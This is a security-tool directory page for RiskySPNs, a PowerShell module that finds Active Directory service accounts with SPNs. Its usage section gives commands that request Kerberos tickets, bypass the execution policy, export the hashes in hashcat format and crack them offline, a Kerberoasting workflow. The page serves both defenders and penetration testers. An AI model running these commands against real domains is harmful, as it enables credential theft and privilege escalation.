Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
RiskySPN — Detect and abuse risky SPNs | Kitploit
Tools/GitHubGitHub/cyberark/riskyspn
Password CrackingPrivilege EscalationPenetration TestingAuthenticationRed Teaming
GitHubcyberark/riskyspn

RiskySPN

Detect and abuse risky SPNs

View Repository
265739 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

RiskySPNs

RiskySPNs is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.

For detailed information: http://www.cyberark.com/blog/service-accounts-weakest-link-chain/

Usage

Install the module

root@kitploit:~
Import-Module .\RiskySPNs.psm1

Or just load the script (you can also IEX from web)

root@kitploit:~
. .\Find-PotentiallyCrackableAccounts.ps1

Make sure Set-ExecutionPolicy is Unrestricted or Bypass

Get information about a function (very detailed :))

root@kitploit:~
Get-Help Get-TGSCipher -Full

All fucntions also have -Verbose mode

Search vulnerable SPNs

Find vulnerable accounts

root@kitploit:~
Find-PotentiallyCrackableAccounts

Sensitive + RC4 = $$$

Generate full deatiled report about vulnerable accounts (CISO <3)

root@kitploit:~
Export-PotentiallyCrackableAccounts

Get tickets

Request Kerberos TGS for SPN

root@kitploit:~
Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"

Or

root@kitploit:~
Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher

The fun stuff :)

root@kitploit:~
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt
oclHashcat64.exe -m 13100 crack.txt -a 3
Download Tool